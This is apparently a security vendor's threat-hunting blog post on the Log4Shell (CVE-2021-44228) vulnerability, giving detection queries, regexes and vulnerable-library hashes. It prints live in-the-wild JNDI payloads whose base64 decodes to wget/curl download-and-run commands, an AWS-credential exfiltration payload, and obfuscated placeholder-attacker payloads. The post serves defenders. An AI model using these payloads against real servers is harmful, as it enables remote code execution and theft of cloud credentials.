Hunting for Log4j CVE-2021-44228 (Log4Shell) Exploit Activity

Dec 13, 2021
12 minutes
304 views

This post is also available in: 日本語 (Japanese)

Overview

On December 9, 2021, a critical Remote Code Execution (RCE) vulnerability in Apache’s Log4j library was discovered being exploited in the wild. The critical vulnerability, which garnered a CVSS severity score 10 out of 10, enables a remote attacker to execute arbitrary code on an affected server and potentially take complete control of the system.

Since the release, mass scanning activity has occurred as threat actors look for vulnerable systems and race to exploit them before they are patched.

In this post, we will deep dive into the payloads used by one of the threat actors performing exploitation attempts and demonstrate how blue teams can hunt for suspicious activities that may indicate the network was affected by CVE-2021-44228 both on Windows and Linux based installations and cloud environments.

To understand how Cortex XDR can help detect and stop Log4j vulnerability exploits, view the Apache Log4j blog post published by Unit 42.

Massive Scanning

Over the past few days, the Cortex XDR Managed Threat Hunting Team observed a surge in the amount of malicious requests attempting to exploit CVE-2021-44228 across organizations worldwide.

Image #1: A Surge in Malicious Log4j Exploitation Attempts Over the Past 7 Days

Image #1: A Surge in Malicious Log4j Exploitation Attempts Over the Past 7 Days

The Managed Threat Hunting team has hand-picked a few of the payloads for further analysis to review the custom payloads used by the threat actors.

  1. ${jndi:ldap://45.137[.]21.9:1389/Basic/Command/Base64/d2dldCAtcSAtTy0gaHR0cDovLzYyLjIxMC4xMzAuMjUwL2xoLnNofGJhc2g=}
  2. ${jndi:ldap://45.155[.]205.233:12344/Basic/Command/Base64/KGN1cmwgLXMgMTkyLjk5LjE1Mi4yMDB8fHdnZXQgLXEgLU8tIDIxMi40Ny4yMzcuNjc6NDQzKXxiYXNo}

Stage 1: Base64 Deobfuscation

Using CyberChef, an analysis of the payload reveals new IOCs which are controlled by the adversary, “192.99[.]152.200”, ”212.47[.]237.67 ” and “62.210[.]130.250”.

Stage 2: Scripts Retrieval and Further Analysis

Stage 2: Scripts Retrieval and Further Analysis

The Cortex XDR Managed Threat Hunting experts downloaded the artifacts and carefully inspected them.

“192.99[.]152.200” and “212.47[.]237.67” were downloaded and included the script displayed below. The script also contained a rather polite “introduction” message in the first couple of lines.

Image 2: A “Polite” Greeting Message

Image 2: A “Polite” Greeting Message

Sadly, the second stage of the payload was not available on the threat actor site, however the line “sysctl -w vm.nr_hugepages=128 > /dev/null 2>&1” suggests an intention to mine cryptocurrency as it increases the potential mining ability of the server by up to 20 percent.

The script downloaded off “62.210[.]130.250” is another downloader for the notorious “Mirai” botnet. Tt is pretty common for the “Mirai” botnet operators to exploit a new Remote Code Execution vulnerability in order to enlarge their zombie horde.

Image #3: The “Mirai” botnet downloader

Image #3: The “Mirai” botnet downloader

 

Hunting for Log4Shell in Your Cloud Environment

Cortex XDR Managed Threat Hunting experts have joined efforts with the Cortex XDR research team to detect and hunt exploitation attempts for cloud environments. Some major examples as seen in-the-wild:

  • Executing the following on vulnerable cloud hosts may lead to exfiltration of cloud credentials: ${jndi:ldap://host/${env:AWS_SECRET_ACCESS_KEY}.${env:AWS_ACCESS_KEY_ID}}
  • Leveraging the exploitation upon API calls (as those API calls are usually logged) and their            associated attributes controlled by the attacker such as the requests parameters of the API call or  the user-agent. For example:
    • Cloud storage services, modify the object name:
      projects/_/buckets/<BUCKET-NAME>/objects/${jndi:ldap://<ATTACKER-IP>:<PORT>/Exploit}
    • User agent:
      ${jndi:${lower:l}${lower:d}a${lower:p}://<ATTACKER-DNS>.bin${upper:a}.io:<PORT>/callback}

Cortex XDR customers can use this query to hunt additional exploitation attempts within cloud audit logs:

dataset = cloud_audit_logs

| alter raw_log_decoded = replace(replace(replace(lowercase(raw_log), "%7b", "{"), "%24","$"), "%7d", "}")

| filter raw_log_decoded ~= "((?:\%24\%7B|\$%7B|\$\{|\$[^//]+\{)(?:j|(?:\-|\}|\:|\:\-|\}|\:|\$)[^//]+j|(?:\-|\}|\:|\:\-|\}|\:|\$)j[^//]+|jn|jnd)(?:n|(?:\-|\}|\:|\:\-|\}|\:|\$)[^//]+n|(?:\-|\}|\:|\:\-|\}|\:|\$)n[^//]+|nd|ndi)?(?:d|(?:\-|\}|\:|\:\-|\}|\:|\$)[^//]+d|(?:\-|\}|\:|\:\-|\}|\:|\$)n[^//]+|di)(?:i|(?:\-|\}|\:|\:\-|\}|\:|\$)[^//]+i|(?:\-|\}|\:|\:\-|\}|\:|\$)i[^//]+))" OR raw_log_decoded ~= "\${jndi"

Due to the fact that there are so many exploitation attempts, finding a successful exploitation is not an easy task. However, we can leverage the power of all XDR data resources and hunt those malicious connections.

By correlating between Cortex XDR cloud, NDR and EDR logs, we are able to extract IOCs from exploitation attempts and match them with established outbound network connections.

For example, we can extract the attacker IP address from the payload as seen in Cortex XDR cloud logs, and look for successful outbound connections to this IP address. The same steps can be implemented for DNS queries.

Cortex XDR customers can use this query to hunt for successful exploitations by looking at EDR, Firewall and flow logs connections, which can imply a real service or compute instance execution:

dataset = cloud_audit_logs

| alter raw_log_decoded = replace(replace(replace(lowercase(raw_log), "%7b", "{"), "%24","$"), "%7d", "}")

| filter raw_log_decoded ~= "((?:\%24\%7B|\$%7B|\$\{|\$[^//]+\{)(?:j|(?:\-|\}|\:|\:\-|\}|\:|\$)[^//]+j|(?:\-|\}|\:|\:\-|\}|\:|\$)j[^//]+|jn|jnd)(?:n|(?:\-|\}|\:|\:\-|\}|\:|\$)[^//]+n|(?:\-|\}|\:|\:\-|\}|\:|\$)n[^//]+|nd|ndi)?(?:d|(?:\-|\}|\:|\:\-|\}|\:|\$)[^//]+d|(?:\-|\}|\:|\:\-|\}|\:|\$)n[^//]+|di)(?:i|(?:\-|\}|\:|\:\-|\}|\:|\$)[^//]+i|(?:\-|\}|\:|\:\-|\}|\:|\$)i[^//]+))" OR raw_log_decoded ~= "\${jndi"

| filter lowercase(operation_name_orig) not contains "jobservice" and user_agent != null

| alter ip = arrayindex(regextract(user_agent, "\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b"), 0)

| filter ip != null

| fields ip, user_agent, raw_log_decoded

| join (dataset = xdr_data

| filter action_remote_ip != null and (event_type = enum.STORY or event_type = enum.NETWORK)

| fields action_remote_ip, cloud_entity, agent_id

| alter cloud_instance_name = json_extract_scalar(to_json_string(cloud_entity), "$.entity_name")

| dedup action_remote_ip, agent_id, cloud_instance_name) as remote_ips

ip = remote_ips.action_remote_ip

| fields ip, user_agent, agent_id, cloud_instance_name, raw_log_decoded

Hunting for Log4Shell in Your Network

The Cortex XDR Managed Threat Hunting team created a few queries which can enable defenders to determine if the network was affected by the CVE-2021-44228 vulnerability.

The queries are divided into two different sections:

  1. Detecting potential malicious activity attributed with the Log4j exploitation.
  2. Detecting potentially affected hosts , which contain the vulnerable library.

Section A: Detecting Hosts Which May Contain the Vulnerable Library

  1. Attempting to detect all Log4j jar loading - Trying to find all applications that utilize Log4j is nearly impossible, as it is bundled in a ton of different software. With that being said, we believe that this query will enable you to get at least a partial grip of this package usage within your environment. The query will list all process names *java* which interacted with a file called *log4j*

 

  1. config case_sensitive = false timeframe=30d |

    dataset = xdr_data 

        | filter actor_process_image_name contains "java"

        | filter (agent_os_sub_type contains "server" or agent_os_type = ENUM.AGENT_OS_LINUX )

        | filter action_file_name contains "log4j" and action_file_extension = "jar"    

        |fields agent_hostname, agent_ip_addresses, actor_effective_username, action_file_name, action_file_path

    | dedup agent_hostname

    Attempt to target all hosts that contain a file that matches the SHA256 hash of the Log4j vulnerable versions.

Reference: https://github.com/mubix/CVE-2021-44228-Log4Shell-Hashes/blob/main/sha256sums.txt

dataset = xdr_data

| fields agent_hostname , action_file_sha256, action_file_path , actor_process_image_sha256 , actor_process_image_path , causality_actor_process_image_sha256 , causality_actor_process_image_path

| filter action_file_sha256 in ("bf4f41403280c1b115650d470f9b260a5c9042c04d9bcc2a6ca504a66379b2d6", "58e9f72081efff9bdaabd82e3b3efe5b1b9f1666cefe28f429ad7176a6d770ae", "ed285ad5ac6a8cf13461d6c2874fdcd3bf67002844831f66e21c2d0adda43fa4", "dbf88c623cc2ad99d82fa4c575fb105e2083465a47b84d64e2e1a63e183c274e", "a38ddff1e797adb39a08876932bc2538d771ff7db23885fb883fec526aff4fc8", "7d86841489afd1097576a649094ae1efb79b3147cd162ba019861dfad4e9573b", "4bfb0d5022dc499908da4597f3e19f9f64d3cc98ce756a2249c72179d3d75c47", "473f15c04122dad810c919b2f3484d46560fd2dd4573f6695d387195816b02a6", "b3fae4f84d4303cdbad4696554b4e8d2381ad3faf6e0c3c8d2ce60a4388caa02", "dcde6033b205433d6e9855c93740f798951fa3a3f252035a768d9f356fde806d", "85338f694c844c8b66d8a1b981bcf38627f95579209b2662182a009d849e1a4c", "db3906edad6009d1886ec1e2a198249b6d99820a3575f8ec80c6ce57f08d521a", "ec411a34fee49692f196e4dc0a905b25d0667825904862fdba153df5e53183e0", "a00a54e3fb8cb83fab38f8714f240ecc13ab9c492584aa571aec5fc71b48732d", "c584d1000591efa391386264e0d43ec35f4dbb146cad9390f73358d9c84ee78d", "8bdb662843c1f4b120fb4c25a5636008085900cdf9947b1dadb9b672ea6134dc", "c830cde8f929c35dad42cbdb6b28447df69ceffe99937bf420d32424df4d076a", "6ae3b0cb657e051f97835a6432c2b0f50a651b36b6d4af395bbe9060bb4ef4b2", "535e19bf14d8c76ec00a7e8490287ca2e2597cae2de5b8f1f65eb81ef1c2a4c6", "42de36e61d454afff5e50e6930961c85b55d681e23931efd248fd9b9b9297239", "4f53e4d52efcccdc446017426c15001bb0fe444c7a6cdc9966f8741cf210d997", "df00277045338ceaa6f70a7b8eee178710b3ba51eac28c1142ec802157492de6", "28433734bd9e3121e0a0b78238d5131837b9dbe26f1a930bc872bad44e68e44e", "cf65f0d33640f2cd0a0b06dd86a5c6353938ccb25f4ffd14116b4884181e0392", "5bb84e110d5f18cee47021a024d358227612dd6dac7b97fa781f85c6ad3ccee4", "ccf02bb919e1a44b13b366ea1b203f98772650475f2a06e9fac4b3c957a7c3fa", "815a73e20e90a413662eefe8594414684df3d5723edcd76070e1a5aee864616e", "10ef331115cbbd18b5be3f3761e046523f9c95c103484082b18e67a7c36e570c", "dc815be299f81c180aa8d2924f1b015f2c46686e866bc410e72de75f7cd41aae", "9275f5d57709e2204900d3dae2727f5932f85d3813ad31c9d351def03dd3d03d", "f35ccc9978797a895e5bee58fa8c3b7ad6d5ee55386e9e532f141ee8ed2e937d", "5256517e6237b888c65c8691f29219b6658d800c23e81d5167c4a8bbd2a0daa3", "d4485176aea67cc85f5ccc45bb66166f8bfc715ae4a695f0d870a1f8d848cc3d", "3fcc4c1f2f806acfc395144c98b8ba2a80fe1bf5e3ad3397588bbd2610a37100", "057a48fe378586b6913d29b4b10162b4b5045277f1be66b7a01fb7e30bd05ef3", "5dbd6bb2381bf54563ea15bc9fbb6d7094eaf7184e6975c50f8996f77bfc3f2c", "c39b0ea14e7766440c59e5ae5f48adee038d9b1c7a1375b376e966ca12c22cd3", "6f38a25482d82cd118c4255f25b9d78d96821d22bab498cdce9cda7a563ca992", "54962835992e303928aa909730ce3a50e311068c0960c708e82ab76701db5e6b", "e5e9b0f8d72f4e7b9022b7a83c673334d7967981191d2d98f9c57dc97b4caae1", "68d793940c28ddff6670be703690dfdf9e77315970c42c4af40ca7261a8570fa", "9da0f5ca7c8eab693d090ae759275b9db4ca5acdbcfe4a63d3871e0b17367463", "006fc6623fbb961084243cfc327c885f3c57f2eba8ee05fbc4e93e5358778c85")

| dedup agent_hostname , action_file_sha256, action_file_path , actor_process_image_sha256 , actor_process_image_path , causality_actor_process_image_sha256 , causality_actor_process_image_path

Section B: Detecting Potentially Malicious Activity Attributed with the Log4j Exploitation

  1. Given the sheer amount of obfuscation possible on the malicious User-Agents like:
    1. ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://${hostName}
    2. ${JnD${upper:i}:lda${env:XXXX2323:-p}:/
    3. ${jndi:ldap://host/$
    4. ${jndi:${lower:l}${lower:d}a${lower:p}:

We’ve decided to choose a regular expression targeting all permutations of the potential resources.

 

config case_sensitive = false timeframe=7d |

dataset = xdr_data

| filter lowercase(action_user_agent) ~= "((?:\%24\%7B|\$%7B|\$\{|\$[^//]+\{)(?:j|(?:\-|\}|\:|\:\-|\}|\:|\$)[^//]+j|(?:\-|\}|\:|\:\-|\}|\:|\$)j[^//]+|jn|jnd)(?:n|(?:\-|\}|\:|\:\-|\}|\:|\$)[^//]+n|(?:\-|\}|\:|\:\-|\}|\:|\$)n[^//]+|nd|ndi)?(?:d|(?:\-|\}|\:|\:\-|\}|\:|\$)[^//]+d|(?:\-|\}|\:|\:\-|\}|\:|\$)n[^//]+|di)(?:i|(?:\-|\}|\:|\:\-|\}|\:|\$)[^//]+i|(?:\-|\}|\:|\:\-|\}|\:|\$)i[^//]+))" OR lowercase(action_user_agent) ~= "\${jndi"

| fields action_user_agent,agent_hostname, action_process_image_name, action_process_image_command_line

This means that for Java Child Process, the query will count the number of appearances over the past 90 days, and will list them only if they were spotted for less than 10 times on this specific host.2. Harness the power of “out of the ordinary”- The following query will create a list of the rare Java process causality chains for both action processes and their command lines.

Ideally, for any type of payload, you will be able to uncover any unusual processes and their commands.

config case_sensitive = false timeframe=90d |

dataset = xdr_data

| alter ct = current_time()

| alter diff = timestamp_diff(ct, _time, "DAY")

| filter event_type = ENUM.FILE

and (

actor_process_image_name contains "java"

)

and diff < 7

| dedup action_process_image_command_line, agent_hostname, actor_process_image_name

| fields action_file_path , action_file_name,agent_hostname, actor_process_image_name, action_process_image_name

| join conflict_strategy = left type = left

(

dataset = xdr_data

| filter event_type = ENUM.FILE

and (

actor_process_image_name contains "java"

)

| comp count(action_file_name) as Action_File_Days_count by actor_process_image_name

) as Three_Months_Action_Process (Three_Months_Action_Process.actor_process_image_name = actor_process_image_name)

| join conflict_strategy = left type = left

(

dataset = xdr_data

| filter event_type = ENUM.FILE

and (

actor_process_image_name contains "java"

)

| comp count(action_file_path) as Path_Days_count by actor_process_image_name

) as Three_Months_CommandLine (Three_Months_CommandLine.actor_process_image_name = action_process_image_name )

| dedup agent_hostname ,actor_process_image_name , action_process_image_name

| sort asc Path_Days_count , asc Action_File_Days_count

| filter Path_Days_count < 10 and Action_File_Days_count <10

 

Conclusion

We’re probably seeing only the tip of the iceberg; it’s only a matter of time until different threat actors and groups will utilize this vulnerability to deploy even more sophisticated malware and payload onto vulnerable servers.

Hopefully these queries will be able to assist you in proactively hunting for this threat in your network.

Happy Hunting!


Subscribe to Security Operations Blogs!

Sign up to receive must-read articles, Playbooks of the Week, new feature announcements, and more.